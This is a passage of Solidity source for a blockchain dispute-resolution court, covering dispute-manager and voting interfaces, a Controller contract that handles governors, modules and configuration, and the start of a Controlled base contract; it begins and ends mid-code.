_ruling) external; /** * @dev Compute the final ruling for a dispute * @param _disputeId Identification number of the dispute to compute its final ruling * @return subject Arbitrable instance associated to the dispute * @return finalRuling Final ruling decided for the given dispute */ function computeRuling(uint256 _disputeId) external returns (IArbitrable subject, uint8 finalRuling); /** * @dev Settle penalties for a round of a dispute * @param _disputeId Identification number of the dispute to settle penalties for * @param _roundId Identification number of the dispute round to settle penalties for * @param _guardiansToSettle Maximum number of guardians to be slashed in this call */ function settlePenalties(uint256 _disputeId, uint256 _roundId, uint256 _guardiansToSettle) external; /** * @dev Claim rewards for a round of a dispute for guardian * @dev For regular rounds, it will only reward winning guardians * @param _disputeId Identification number of the dispute to settle rewards for * @param _roundId Identification number of the dispute round to settle rewards for * @param _guardian Address of the guardian to settle their rewards */ function settleReward(uint256 _disputeId, uint256 _roundId, address _guardian) external; /** * @dev Settle appeal deposits for a round of a dispute * @param _disputeId Identification number of the dispute to settle appeal deposits for * @param _roundId Identification number of the dispute round to settle appeal deposits for */ function settleAppealDeposit(uint256 _disputeId, uint256 _roundId) external; /** * @dev Tell the amount of token fees required to create a dispute * @return feeToken ERC20 token used for the fees * @return feeAmount Total amount of fees to be paid for a dispute at the given term */ function getDisputeFees() external view returns (IERC20 feeToken, uint256 feeAmount); /** * @dev Tell information of a certain dispute * @param _disputeId Identification number of the dispute being queried * @return subject Arbitrable subject being disputed * @return possibleRulings Number of possible rulings allowed for the drafted guardians to vote on the dispute * @return state Current state of the dispute being queried: pre-draft, adjudicating, or ruled * @return finalRuling The winning ruling in case the dispute is finished * @return lastRoundId Identification number of the last round created for the dispute * @return createTermId Identification number of the term when the dispute was created */ function getDispute(uint256 _disputeId) external view returns (IArbitrable subject, uint8 possibleRulings, DisputeState state, uint8 finalRuling, uint256 lastRoundId, uint64 createTermId); /** * @dev Tell information of a certain adjudication round * @param _disputeId Identification number of the dispute being queried * @param _roundId Identification number of the round being queried * @return draftTerm Term from which the requested round can be drafted * @return delayedTerms Number of terms the given round was delayed based on its requested draft term id * @return guardiansNumber Number of guardians requested for the round * @return selectedGuardians Number of guardians already selected for the requested round * @return settledPenalties Whether or not penalties have been settled for the requested round * @return collectedTokens Amount of guardian tokens that were collected from slashed guardians for the requested round * @return coherentGuardians Number of guardians that voted in favor of the final ruling in the requested round * @return state Adjudication state of the requested round */ function getRound(uint256 _disputeId, uint256 _roundId) external view returns ( uint64 draftTerm, uint64 delayedTerms, uint64 guardiansNumber, uint64 selectedGuardians, uint256 guardianFees, bool settledPenalties, uint256 collectedTokens, uint64 coherentGuardians, AdjudicationState state ); /** * @dev Tell appeal-related information of a certain adjudication round * @param _disputeId Identification number of the dispute being queried * @param _roundId Identification number of the round being queried * @return maker Address of the account appealing the given round * @return appealedRuling Ruling confirmed by the appealer of the given round * @return taker Address of the account confirming the appeal of the given round * @return opposedRuling Ruling confirmed by the appeal taker of the given round */ function getAppeal(uint256 _disputeId, uint256 _roundId) external view returns (address maker, uint64 appealedRuling, address taker, uint64 opposedRuling); /** * @dev Tell information related to the next round due to an appeal of a certain round given. * @param _disputeId Identification number of the dispute being queried * @param _roundId Identification number of the round requesting the appeal details of * @return nextRoundStartTerm Term ID from which the next round will start * @return nextRoundGuardiansNumber Guardians number for the next round * @return newDisputeState New state for the dispute associated to the given round after the appeal * @return feeToken ERC20 token used for the next round fees * @return guardianFees Total amount of fees to be distributed between the winning guardians of the next round * @return totalFees Total amount of fees for a regular round at the given term * @return appealDeposit Amount to be deposit of fees for a regular round at the given term * @return confirmAppealDeposit Total amount of fees for a regular round at the given term */ function getNextRoundDetails(uint256 _disputeId, uint256 _roundId) external view returns ( uint64 nextRoundStartTerm, uint64 nextRoundGuardiansNumber, DisputeState newDisputeState, IERC20 feeToken, uint256 totalFees, uint256 guardianFees, uint256 appealDeposit, uint256 confirmAppealDeposit ); /** * @dev Tell guardian-related information of a certain adjudication round * @param _disputeId Identification number of the dispute being queried * @param _roundId Identification number of the round being queried * @param _guardian Address of the guardian being queried * @return weight Guardian weight drafted for the requested round * @return rewarded Whether or not the given guardian was rewarded based on the requested round */ function getGuardian(uint256 _disputeId, uint256 _roundId, address _guardian) external view returns (uint64 weight, bool rewarded); } contract Controller is IsContract, ModuleIds, CourtClock, CourtConfig, ACL { string private constant ERROR_SENDER_NOT_GOVERNOR = "CTR_SENDER_NOT_GOVERNOR"; string private constant ERROR_INVALID_GOVERNOR_ADDRESS = "CTR_INVALID_GOVERNOR_ADDRESS"; string private constant ERROR_MODULE_NOT_SET = "CTR_MODULE_NOT_SET"; string private constant ERROR_MODULE_ALREADY_ENABLED = "CTR_MODULE_ALREADY_ENABLED"; string private constant ERROR_MODULE_ALREADY_DISABLED = "CTR_MODULE_ALREADY_DISABLED"; string private constant ERROR_DISPUTE_MANAGER_NOT_ACTIVE = "CTR_DISPUTE_MANAGER_NOT_ACTIVE"; string private constant ERROR_CUSTOM_FUNCTION_NOT_SET = "CTR_CUSTOM_FUNCTION_NOT_SET"; string private constant ERROR_IMPLEMENTATION_NOT_CONTRACT = "CTR_IMPLEMENTATION_NOT_CONTRACT"; string private constant ERROR_INVALID_IMPLS_INPUT_LENGTH = "CTR_INVALID_IMPLS_INPUT_LENGTH"; address private constant ZERO_ADDRESS = address(0); /** * @dev Governor of the whole system. Set of three addresses to recover funds, change configuration settings and setup modules */ struct Governor { address funds; // This address can be unset at any time. It is allowed to recover funds from the ControlledRecoverable modules address config; // This address is meant not to be unset. It is allowed to change the different configurations of the whole system address modules; // This address can be unset at any time. It is allowed to plug/unplug modules from the system } /** * @dev Module information */ struct Module { bytes32 id; // ID associated to a module bool disabled; // Whether the module is disabled } // Governor addresses of the system Governor private governor; // List of current modules registered for the system indexed by ID mapping (bytes32 => address) internal currentModules; // List of all historical modules registered for the system indexed by address mapping (address => Module) internal allModules; // List of custom function targets indexed by signature mapping (bytes4 => address) internal customFunctions; event ModuleSet(bytes32 id, address addr); event ModuleEnabled(bytes32 id, address addr); event ModuleDisabled(bytes32 id, address addr); event CustomFunctionSet(bytes4 signature, address target); event FundsGovernorChanged(address previousGovernor, address currentGovernor); event ConfigGovernorChanged(address previousGovernor, address currentGovernor); event ModulesGovernorChanged(address previousGovernor, address currentGovernor); /** * @dev Ensure the msg.sender is the funds governor */ modifier onlyFundsGovernor { require(msg.sender == governor.funds, ERROR_SENDER_NOT_GOVERNOR); _; } /** * @dev Ensure the msg.sender is the modules governor */ modifier onlyConfigGovernor { require(msg.sender == governor.config, ERROR_SENDER_NOT_GOVERNOR); _; } /** * @dev Ensure the msg.sender is the modules governor */ modifier onlyModulesGovernor { require(msg.sender == governor.modules, ERROR_SENDER_NOT_GOVERNOR); _; } /** * @dev Ensure the given dispute manager is active */ modifier onlyActiveDisputeManager(IDisputeManager _disputeManager) { require(!_isModuleDisabled(address(_disputeManager)), ERROR_DISPUTE_MANAGER_NOT_ACTIVE); _; } /** * @dev Constructor function * @param _termParams Array containing: * 0. _termDuration Duration in seconds per term * 1. _firstTermStartTime Timestamp in seconds when the court will open (to give time for guardian on-boarding) * @param _governors Array containing: * 0. _fundsGovernor Address of the funds governor * 1. _configGovernor Address of the config governor * 2. _modulesGovernor Address of the modules governor * @param _feeToken Address of the token contract that is used to pay for fees * @param _fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @param _roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @param _pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked to each drafted guardians (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @param _roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * 3. finalRoundLockTerms Number of terms that a coherent guardian in a final round is disallowed to withdraw (to prevent 51% attacks) * @param _appealCollateralParams Array containing params for appeal collateral: * 1. appealCollateralFactor Permyriad multiple of dispute fees required to appeal a preliminary ruling * 2. appealConfirmCollateralFactor Permyriad multiple of dispute fees required to confirm appeal * @param _minActiveBalance Minimum amount of guardian tokens that can be activated */ constructor( uint64[2] memory _termParams, address[3] memory _governors, IERC20 _feeToken, uint256[3] memory _fees, uint64[5] memory _roundStateDurations, uint16[2] memory _pcts, uint64[4] memory _roundParams, uint256[2] memory _appealCollateralParams, uint256 _minActiveBalance ) public CourtClock(_termParams) CourtConfig(_feeToken, _fees, _roundStateDurations, _pcts, _roundParams, _appealCollateralParams, _minActiveBalance) { _setFundsGovernor(_governors[0]); _setConfigGovernor(_governors[1]); _setModulesGovernor(_governors[2]); } /** * @dev Fallback function allows to forward calls to a specific address in case it was previously registered * Note the sender will be always the controller in case it is forwarded */ function () external payable { address target = customFunctions[msg.sig]; require(target != address(0), ERROR_CUSTOM_FUNCTION_NOT_SET); // solium-disable-next-line security/no-call-value (bool success,) = address(target).call.value(msg.value)(msg.data); assembly { let size := returndatasize let ptr := mload(0x40) returndatacopy(ptr, 0, size) let result := success switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } /** * @notice Change Court configuration params * @param _fromTermId Identification number of the term in which the config will be effective at * @param _feeToken Address of the token contract that is used to pay for fees * @param _fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @param _roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @param _pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked to each drafted guardians (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @param _roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * 3. finalRoundLockTerms Number of terms that a coherent guardian in a final round is disallowed to withdraw (to prevent 51% attacks) * @param _appealCollateralParams Array containing params for appeal collateral: * 1. appealCollateralFactor Permyriad multiple of dispute fees required to appeal a preliminary ruling * 2. appealConfirmCollateralFactor Permyriad multiple of dispute fees required to confirm appeal * @param _minActiveBalance Minimum amount of guardian tokens that can be activated */ function setConfig( uint64 _fromTermId, IERC20 _feeToken, uint256[3] calldata _fees, uint64[5] calldata _roundStateDurations, uint16[2] calldata _pcts, uint64[4] calldata _roundParams, uint256[2] calldata _appealCollateralParams, uint256 _minActiveBalance ) external onlyConfigGovernor { uint64 currentTermId = _ensureCurrentTerm(); _setConfig( currentTermId, _fromTermId, _feeToken, _fees, _roundStateDurations, _pcts, _roundParams, _appealCollateralParams, _minActiveBalance ); } /** * @notice Delay the Court start time to `_newFirstTermStartTime` * @param _newFirstTermStartTime New timestamp in seconds when the court will open */ function delayStartTime(uint64 _newFirstTermStartTime) external onlyConfigGovernor { _delayStartTime(_newFirstTermStartTime); } /** * @notice Change funds governor address to `_newFundsGovernor` * @param _newFundsGovernor Address of the new funds governor to be set */ function changeFundsGovernor(address _newFundsGovernor) external onlyFundsGovernor { require(_newFundsGovernor != ZERO_ADDRESS, ERROR_INVALID_GOVERNOR_ADDRESS); _setFundsGovernor(_newFundsGovernor); } /** * @notice Change config governor address to `_newConfigGovernor` * @param _newConfigGovernor Address of the new config governor to be set */ function changeConfigGovernor(address _newConfigGovernor) external onlyConfigGovernor { require(_newConfigGovernor != ZERO_ADDRESS, ERROR_INVALID_GOVERNOR_ADDRESS); _setConfigGovernor(_newConfigGovernor); } /** * @notice Change modules governor address to `_newModulesGovernor` * @param _newModulesGovernor Address of the new governor to be set */ function changeModulesGovernor(address _newModulesGovernor) external onlyModulesGovernor { require(_newModulesGovernor != ZERO_ADDRESS, ERROR_INVALID_GOVERNOR_ADDRESS); _setModulesGovernor(_newModulesGovernor); } /** * @notice Remove the funds governor. Set the funds governor to the zero address. * @dev This action cannot be rolled back, once the funds governor has been unset, funds cannot be recovered from recoverable modules anymore */ function ejectFundsGovernor() external onlyFundsGovernor { _setFundsGovernor(ZERO_ADDRESS); } /** * @notice Remove the modules governor. Set the modules governor to the zero address. * @dev This action cannot be rolled back, once the modules governor has been unset, system modules cannot be changed anymore */ function ejectModulesGovernor() external onlyModulesGovernor { _setModulesGovernor(ZERO_ADDRESS); } /** * @notice Grant `_id` role to `_who` * @param _id ID of the role to be granted * @param _who Address to grant the role to */ function grant(bytes32 _id, address _who) external onlyConfigGovernor { _grant(_id, _who); } /** * @notice Revoke `_id` role from `_who` * @param _id ID of the role to be revoked * @param _who Address to revoke the role from */ function revoke(bytes32 _id, address _who) external onlyConfigGovernor { _revoke(_id, _who); } /** * @notice Freeze `_id` role * @param _id ID of the role to be frozen */ function freeze(bytes32 _id) external onlyConfigGovernor { _freeze(_id); } /** * @notice Enact a bulk list of ACL operations */ function bulk(BulkOp[] calldata _op, bytes32[] calldata _id, address[] calldata _who) external onlyConfigGovernor { _bulk(_op, _id, _who); } /** * @notice Set module `_id` to `_addr` * @param _id ID of the module to be set * @param _addr Address of the module to be set */ function setModule(bytes32 _id, address _addr) external onlyModulesGovernor { _setModule(_id, _addr); } /** * @notice Set and link many modules at once * @param _newModuleIds List of IDs of the new modules to be set * @param _newModuleAddresses List of addresses of the new modules to be set * @param _newModuleLinks List of IDs of the modules that will be linked in the new modules being set * @param _currentModulesToBeSynced List of addresses of current modules to be re-linked to the new modules being set */ function setModules( bytes32[] calldata _newModuleIds, address[] calldata _newModuleAddresses, bytes32[] calldata _newModuleLinks, address[] calldata _currentModulesToBeSynced ) external onlyModulesGovernor { // We only care about the modules being set, links are optional require(_newModuleIds.length == _newModuleAddresses.length, ERROR_INVALID_IMPLS_INPUT_LENGTH); // First set the addresses of the new modules or the modules to be updated for (uint256 i = 0; i < _newModuleIds.length; i++) { _setModule(_newModuleIds[i], _newModuleAddresses[i]); } // Then sync the links of the new modules based on the list of IDs specified (ideally the IDs of their dependencies) _syncModuleLinks(_newModuleAddresses, _newModuleLinks); // Finally sync the links of the existing modules to be synced to the new modules being set _syncModuleLinks(_currentModulesToBeSynced, _newModuleIds); } /** * @notice Sync modules for a list of modules IDs based on their current implementation address * @param _modulesToBeSynced List of addresses of connected modules to be synced * @param _idsToBeSet List of IDs of the modules included in the sync */ function syncModuleLinks(address[] calldata _modulesToBeSynced, bytes32[] calldata _idsToBeSet) external onlyModulesGovernor { require(_idsToBeSet.length > 0 && _modulesToBeSynced.length > 0, ERROR_INVALID_IMPLS_INPUT_LENGTH); _syncModuleLinks(_modulesToBeSynced, _idsToBeSet); } /** * @notice Disable module `_addr` * @dev Current modules can be disabled to allow pausing the court. However, these can be enabled back again, see `enableModule` * @param _addr Address of the module to be disabled */ function disableModule(address _addr) external onlyModulesGovernor { Module storage module = allModules[_addr]; _ensureModuleExists(module); require(!module.disabled, ERROR_MODULE_ALREADY_DISABLED); module.disabled = true; emit ModuleDisabled(module.id, _addr); } /** * @notice Enable module `_addr` * @param _addr Address of the module to be enabled */ function enableModule(address _addr) external onlyModulesGovernor { Module storage module = allModules[_addr]; _ensureModuleExists(module); require(module.disabled, ERROR_MODULE_ALREADY_ENABLED); module.disabled = false; emit ModuleEnabled(module.id, _addr); } /** * @notice Set custom function `_sig` for `_target` * @param _sig Signature of the function to be set * @param _target Address of the target implementation to be registered for the given signature */ function setCustomFunction(bytes4 _sig, address _target) external onlyModulesGovernor { customFunctions[_sig] = _target; emit CustomFunctionSet(_sig, _target); } /** * @dev Tell the full Court configuration parameters at a certain term * @param _termId Identification number of the term querying the Court config of * @return token Address of the token used to pay for fees * @return fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @return roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @return pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @return roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * 3. finalRoundLockTerms Number of terms that a coherent guardian in a final round is disallowed to withdraw (to prevent 51% attacks) * @return appealCollateralParams Array containing params for appeal collateral: * 0. appealCollateralFactor Multiple of dispute fees required to appeal a preliminary ruling * 1. appealConfirmCollateralFactor Multiple of dispute fees required to confirm appeal */ function getConfig(uint64 _termId) external view returns ( IERC20 feeToken, uint256[3] memory fees, uint64[5] memory roundStateDurations, uint16[2] memory pcts, uint64[4] memory roundParams, uint256[2] memory appealCollateralParams, uint256 minActiveBalance ) { uint64 lastEnsuredTermId = _lastEnsuredTermId(); return _getConfigAt(_termId, lastEnsuredTermId); } /** * @dev Tell the draft config at a certain term * @param _termId Identification number of the term querying the draft config of * @return feeToken Address of the token used to pay for fees * @return draftFee Amount of fee tokens per guardian to cover the drafting cost * @return penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) */ function getDraftConfig(uint64 _termId) external view returns (IERC20 feeToken, uint256 draftFee, uint16 penaltyPct) { uint64 lastEnsuredTermId = _lastEnsuredTermId(); return _getDraftConfig(_termId, lastEnsuredTermId); } /** * @dev Tell the min active balance config at a certain term * @param _termId Identification number of the term querying the min active balance config of * @return Minimum amount of tokens guardians have to activate to participate in the Court */ function getMinActiveBalance(uint64 _termId) external view returns (uint256) { uint64 lastEnsuredTermId = _lastEnsuredTermId(); return _getMinActiveBalance(_termId, lastEnsuredTermId); } /** * @dev Tell the address of the funds governor * @return Address of the funds governor */ function getFundsGovernor() external view returns (address) { return governor.funds; } /** * @dev Tell the address of the config governor * @return Address of the config governor */ function getConfigGovernor() external view returns (address) { return governor.config; } /** * @dev Tell the address of the modules governor * @return Address of the modules governor */ function getModulesGovernor() external view returns (address) { return governor.modules; } /** * @dev Tell if a given module is active * @param _id ID of the module to be checked * @param _addr Address of the module to be checked * @return True if the given module address has the requested ID and is enabled */ function isActive(bytes32 _id, address _addr) external view returns (bool) { Module storage module = allModules[_addr]; return module.id == _id && !module.disabled; } /** * @dev Tell the current ID and disable status of a module based on a given address * @param _addr Address of the requested module * @return id ID of the module being queried * @return disabled Whether the module has been disabled */ function getModuleByAddress(address _addr) external view returns (bytes32 id, bool disabled) { Module storage module = allModules[_addr]; id = module.id; disabled = module.disabled; } /** * @dev Tell the current address and disable status of a module based on a given ID * @param _id ID of the module being queried * @return addr Current address of the requested module * @return disabled Whether the module has been disabled */ function getModule(bytes32 _id) external view returns (address addr, bool disabled) { return _getModule(_id); } /** * @dev Tell the information for the current DisputeManager module * @return addr Current address of the DisputeManager module * @return disabled Whether the module has been disabled */ function getDisputeManager() external view returns (address addr, bool disabled) { return _getModule(MODULE_ID_DISPUTE_MANAGER); } /** * @dev Tell the information for the current GuardiansRegistry module * @return addr Current address of the GuardiansRegistry module * @return disabled Whether the module has been disabled */ function getGuardiansRegistry() external view returns (address addr, bool disabled) { return _getModule(MODULE_ID_GUARDIANS_REGISTRY); } /** * @dev Tell the information for the current Voting module * @return addr Current address of the Voting module * @return disabled Whether the module has been disabled */ function getVoting() external view returns (address addr, bool disabled) { return _getModule(MODULE_ID_VOTING); } /** * @dev Tell the information for the current PaymentsBook module * @return addr Current address of the PaymentsBook module * @return disabled Whether the module has been disabled */ function getPaymentsBook() external view returns (address addr, bool disabled) { return _getModule(MODULE_ID_PAYMENTS_BOOK); } /** * @dev Tell the information for the current Treasury module * @return addr Current address of the Treasury module * @return disabled Whether the module has been disabled */ function getTreasury() external view returns (address addr, bool disabled) { return _getModule(MODULE_ID_TREASURY); } /** * @dev Tell the target registered for a custom function * @param _sig Signature of the function being queried * @return Address of the target where the function call will be forwarded */ function getCustomFunction(bytes4 _sig) external view returns (address) { return customFunctions[_sig]; } /** * @dev Internal function to set the address of the funds governor * @param _newFundsGovernor Address of the new config governor to be set */ function _setFundsGovernor(address _newFundsGovernor) internal { emit FundsGovernorChanged(governor.funds, _newFundsGovernor); governor.funds = _newFundsGovernor; } /** * @dev Internal function to set the address of the config governor * @param _newConfigGovernor Address of the new config governor to be set */ function _setConfigGovernor(address _newConfigGovernor) internal { emit ConfigGovernorChanged(governor.config, _newConfigGovernor); governor.config = _newConfigGovernor; } /** * @dev Internal function to set the address of the modules governor * @param _newModulesGovernor Address of the new modules governor to be set */ function _setModulesGovernor(address _newModulesGovernor) internal { emit ModulesGovernorChanged(governor.modules, _newModulesGovernor); governor.modules = _newModulesGovernor; } /** * @dev Internal function to set an address as the current implementation for a module * Note that the disabled condition is not affected, if the module was not set before it will be enabled by default * @param _id Id of the module to be set * @param _addr Address of the module to be set */ function _setModule(bytes32 _id, address _addr) internal { require(isContract(_addr), ERROR_IMPLEMENTATION_NOT_CONTRACT); currentModules[_id] = _addr; allModules[_addr].id = _id; emit ModuleSet(_id, _addr); } /** * @dev Internal function to sync the modules for a list of modules IDs based on their current implementation address * @param _modulesToBeSynced List of addresses of connected modules to be synced * @param _idsToBeSet List of IDs of the modules to be linked */ function _syncModuleLinks(address[] memory _modulesToBeSynced, bytes32[] memory _idsToBeSet) internal { address[] memory addressesToBeSet = new address[](_idsToBeSet.length); // Load the addresses associated with the requested module ids for (uint256 i = 0; i < _idsToBeSet.length; i++) { address moduleAddress = _getModuleAddress(_idsToBeSet[i]); Module storage module = allModules[moduleAddress]; _ensureModuleExists(module); addressesToBeSet[i] = moduleAddress; } // Update the links of all the requested modules for (uint256 j = 0; j < _modulesToBeSynced.length; j++) { IModulesLinker(_modulesToBeSynced[j]).linkModules(_idsToBeSet, addressesToBeSet); } } /** * @dev Internal function to notify when a term has been transitioned * @param _termId Identification number of the new current term that has been transitioned */ function _onTermTransitioned(uint64 _termId) internal { _ensureTermConfig(_termId); } /** * @dev Internal function to check if a module was set * @param _module Module to be checked */ function _ensureModuleExists(Module storage _module) internal view { require(_module.id != bytes32(0), ERROR_MODULE_NOT_SET); } /** * @dev Internal function to tell the information for a module based on a given ID * @param _id ID of the module being queried * @return addr Current address of the requested module * @return disabled Whether the module has been disabled */ function _getModule(bytes32 _id) internal view returns (address addr, bool disabled) { addr = _getModuleAddress(_id); disabled = _isModuleDisabled(addr); } /** * @dev Tell the current address for a module by ID * @param _id ID of the module being queried * @return Current address of the requested module */ function _getModuleAddress(bytes32 _id) internal view returns (address) { return currentModules[_id]; } /** * @dev Tell whether a module is disabled * @param _addr Address of the module being queried * @return True if the module is disabled, false otherwise */ function _isModuleDisabled(address _addr) internal view returns (bool) { return allModules[_addr].disabled; } } contract ConfigConsumer is CourtConfigData { /** * @dev Internal function to fetch the address of the Config module from the controller * @return Address of the Config module */ function _courtConfig() internal view returns (IConfig); /** * @dev Internal function to get the Court config for a certain term * @param _termId Identification number of the term querying the Court config of * @return Court config for the given term */ function _getConfigAt(uint64 _termId) internal view returns (Config memory) { (IERC20 _feeToken, uint256[3] memory _fees, uint64[5] memory _roundStateDurations, uint16[2] memory _pcts, uint64[4] memory _roundParams, uint256[2] memory _appealCollateralParams, uint256 _minActiveBalance) = _courtConfig().getConfig(_termId); Config memory config; config.fees = FeesConfig({ token: _feeToken, guardianFee: _fees[0], draftFee: _fees[1], settleFee: _fees[2], finalRoundReduction: _pcts[1] }); config.disputes = DisputesConfig({ evidenceTerms: _roundStateDurations[0], commitTerms: _roundStateDurations[1], revealTerms: _roundStateDurations[2], appealTerms: _roundStateDurations[3], appealConfirmTerms: _roundStateDurations[4], penaltyPct: _pcts[0], firstRoundGuardiansNumber: _roundParams[0], appealStepFactor: _roundParams[1], maxRegularAppealRounds: _roundParams[2], finalRoundLockTerms: _roundParams[3], appealCollateralFactor: _appealCollateralParams[0], appealConfirmCollateralFactor: _appealCollateralParams[1] }); config.minActiveBalance = _minActiveBalance; return config; } /** * @dev Internal function to get the draft config for a given term * @param _termId Identification number of the term querying the draft config of * @return Draft config for the given term */ function _getDraftConfig(uint64 _termId) internal view returns (DraftConfig memory) { (IERC20 feeToken, uint256 draftFee, uint16 penaltyPct) = _courtConfig().getDraftConfig(_termId); return DraftConfig({ feeToken: feeToken, draftFee: draftFee, penaltyPct: penaltyPct }); } /** * @dev Internal function to get the min active balance config for a given term * @param _termId Identification number of the term querying the min active balance config of * @return Minimum amount of guardian tokens that can be activated */ function _getMinActiveBalance(uint64 _termId) internal view returns (uint256) { return _courtConfig().getMinActiveBalance(_termId); } } /* * SPDX-License-Identifier: MIT */ interface ICRVotingOwner { /** * @dev Ensure votes can be committed for a vote instance, revert otherwise * @param _voteId ID of the vote instance to request the weight of a voter for */ function ensureCanCommit(uint256 _voteId) external; /** * @dev Ensure a certain voter can commit votes for a vote instance, revert otherwise * @param _voteId ID of the vote instance to request the weight of a voter for * @param _voter Address of the voter querying the weight of */ function ensureCanCommit(uint256 _voteId, address _voter) external; /** * @dev Ensure a certain voter can reveal votes for vote instance, revert otherwise * @param _voteId ID of the vote instance to request the weight of a voter for * @param _voter Address of the voter querying the weight of * @return Weight of the requested guardian for the requested vote instance */ function ensureCanReveal(uint256 _voteId, address _voter) external returns (uint64); } /* * SPDX-License-Identifier: MIT */ interface ICRVoting { /** * @dev Create a new vote instance * @dev This function can only be called by the CRVoting owner * @param _voteId ID of the new vote instance to be created * @param _possibleOutcomes Number of possible outcomes for the new vote instance to be created */ function createVote(uint256 _voteId, uint8 _possibleOutcomes) external; /** * @dev Get the winning outcome of a vote instance * @param _voteId ID of the vote instance querying the winning outcome of * @return Winning outcome of the given vote instance or refused in case it's missing */ function getWinningOutcome(uint256 _voteId) external view returns (uint8); /** * @dev Get the tally of an outcome for a certain vote instance * @param _voteId ID of the vote instance querying the tally of * @param _outcome Outcome querying the tally of * @return Tally of the outcome being queried for the given vote instance */ function getOutcomeTally(uint256 _voteId, uint8 _outcome) external view returns (uint256); /** * @dev Tell whether an outcome is valid for a given vote instance or not * @param _voteId ID of the vote instance to check the outcome of * @param _outcome Outcome to check if valid or not * @return True if the given outcome is valid for the requested vote instance, false otherwise */ function isValidOutcome(uint256 _voteId, uint8 _outcome) external view returns (bool); /** * @dev Get the outcome voted by a voter for a certain vote instance * @param _voteId ID of the vote instance querying the outcome of * @param _voter Address of the voter querying the outcome of * @return Outcome of the voter for the given vote instance */ function getVoterOutcome(uint256 _voteId, address _voter) external view returns (uint8); /** * @dev Tell whether a voter voted in favor of a certain outcome in a vote instance or not * @param _voteId ID of the vote instance to query if a voter voted in favor of a certain outcome * @param _outcome Outcome to query if the given voter voted in favor of * @param _voter Address of the voter to query if voted in favor of the given outcome * @return True if the given voter voted in favor of the given outcome, false otherwise */ function hasVotedInFavorOf(uint256 _voteId, uint8 _outcome, address _voter) external view returns (bool); /** * @dev Filter a list of voters based on whether they voted in favor of a certain outcome in a vote instance or not * @param _voteId ID of the vote instance to be checked * @param _outcome Outcome to filter the list of voters of * @param _voters List of addresses of the voters to be filtered * @return List of results to tell whether a voter voted in favor of the given outcome or not */ function getVotersInFavorOf(uint256 _voteId, uint8 _outcome, address[] calldata _voters) external view returns (bool[] memory); } /* * SPDX-License-Identifier: MIT */ interface ITreasury { /** * @dev Assign a certain amount of tokens to an account * @param _token ERC20 token to be assigned * @param _to Address of the recipient that will be assigned the tokens to * @param _amount Amount of tokens to be assigned to the recipient */ function assign(IERC20 _token, address _to, uint256 _amount) external; /** * @dev Withdraw a certain amount of tokens * @param _token ERC20 token to be withdrawn * @param _from Address withdrawing the tokens from * @param _to Address of the recipient that will receive the tokens * @param _amount Amount of tokens to be withdrawn from the sender */ function withdraw(IERC20 _token, address _from, address _to, uint256 _amount) external; } contract Controlled is IModulesLinker, IsContract, ModuleIds, ConfigConsumer { string private constant ERROR_MODULE_NOT_SET = "CTD_MODULE_NOT_SET"; string private constant ERROR_INVALID_MODULES_LINK_INPUT = "CTD_INVALID_MODULES_LINK_INPUT"; string private constant ERROR_CONTROLLER_NOT_CONTRACT = "CTD_CONTROLLER_NOT_CONTRACT"; string private constant ERROR_SENDER_NOT_ALLOWED = "CTD_SENDER_NOT_ALLOWED"; string private constant ERROR_SENDER_NOT_CONTROLLER = "CTD_SENDER_NOT_CONTROLLER"; string private constant ERROR_SENDER_NOT_CONFIG_GOVERNOR = "CTD_SENDER_NOT_CONFIG_GOVERNOR"; string private constant ERROR_SENDER_NOT_ACTIVE_VOTING = "CTD_SENDER_NOT_ACTIVE_VOTING"; string private constant ERROR_SENDER_NOT_ACTIVE_DISPUTE_MANAGER = "CTD_SEND_NOT_ACTIVE_DISPUTE_MGR"; string private constant ERROR_SENDER_NOT_CURRENT_DISPUTE_MANAGER = "CTD_SEND_NOT_CURRENT_DISPUTE_MGR"; // Address of the controller Controller public controller; // List of modules linked indexed by ID mapping (bytes32 => address) public linkedModules; event ModuleLinked(bytes32 